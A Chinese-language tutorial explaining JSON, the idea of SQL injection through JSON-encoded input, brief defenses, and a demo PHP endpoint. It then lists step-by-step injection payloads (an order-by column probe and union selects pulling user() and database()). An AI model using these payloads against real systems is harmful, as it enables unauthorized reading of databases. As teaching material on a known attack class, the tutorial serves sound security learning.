SQL注入之JSON注入：原理、危害及防御

文章的目录如下：

SQL注入之json注入
    1.1 什么是json？
        json的数据类型：
    1.2 json注入
    1.3 案例演示
        3.1 php源码：
        3.2 进行注入

1. 什么是JSON？

JSON（JavaScript Object Notation）是一种轻量级的数据交换格式，它基于ECMAScript的一个子集，采用独立于编程语言的文本格式来存储和表示数据。JSON因其简洁和易于阅读而广泛应用于Web应用中。

JSON的数据类型：

JSON支持以下几种数据类型：

• 对象：由键值对组成，使用花括号{}包围。
• 数组：有序的数据集合，使用方括号[]包围。
• 字符串：使用双引号""包围的字符序列。
• 数字：表示整数或浮点数。
• 布尔值：true或false。
• null：表示空值。

以下是创建和解析JSON对象的示例代码：

// 创建一个JSON字符串
const jsonStr = '{"name":"mc","age":18,"sex":"男"}';
// 解析JSON字符串为对象
const jsonObject = JSON.parse(jsonStr);
// 输出解析后的JSON数据
Object.keys(jsonObject).forEach(item => { console.log(item, ":", jsonObject[item]) });
// 将对象转换为JSON字符串
const toJSON = JSON.stringify(jsonObject);
console.log(toJSON);

2. JSON注入

原理：

JSON注入是一种安全漏洞，发生在应用程序解析来自不可信赖数据源的JSON数据时。如果应用程序未对这些数据进行验证或过滤，并使用这些数据构造JSON，攻击者可以更改JSON数据的语义，从而执行恶意操作。

危害：

攻击者可以利用JSON注入漏洞插入元素，执行恶意操作，如获取管理权限，甚至可能导致XSS攻击和动态解析代码执行。

防御：

• 检查程序逻辑：确保对数据进行合理过滤和安全校验。
• 使用JSON标准：对JSON数据进行处理，防止JSON注入。

3. 案例演示

3.1 PHP源码：

<?php
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
    $json_str=$_POST['json'];
    $json=json_decode($json_str);
    if(!$json){
        die('JSON文档格式有误，请检查');
    }
    $username=$json->username;
    // 省略密码和其他数据库操作代码...
}
?>

3.2 进行注入：

1. 正常查询：按照特定格式查询admin用户密码。

   {"username":"admin"}

2. 构造Payload：通过构造特定的JSON数据进行注入。

   {"username":"admin' order by 3#"}

3. 判断列数：通过报错信息判断数据库表的列数。

   {"username":"admin' and 1=2 union select 1,2#"}

4. 提取数据：利用union注入提取数据库信息。

   {"username":"admin' and 1=2 union select user(),database()#"}

表格：JSON注入防御措施

通过上述措施，可以有效地防御JSON注入攻击，保护Web应用的安全。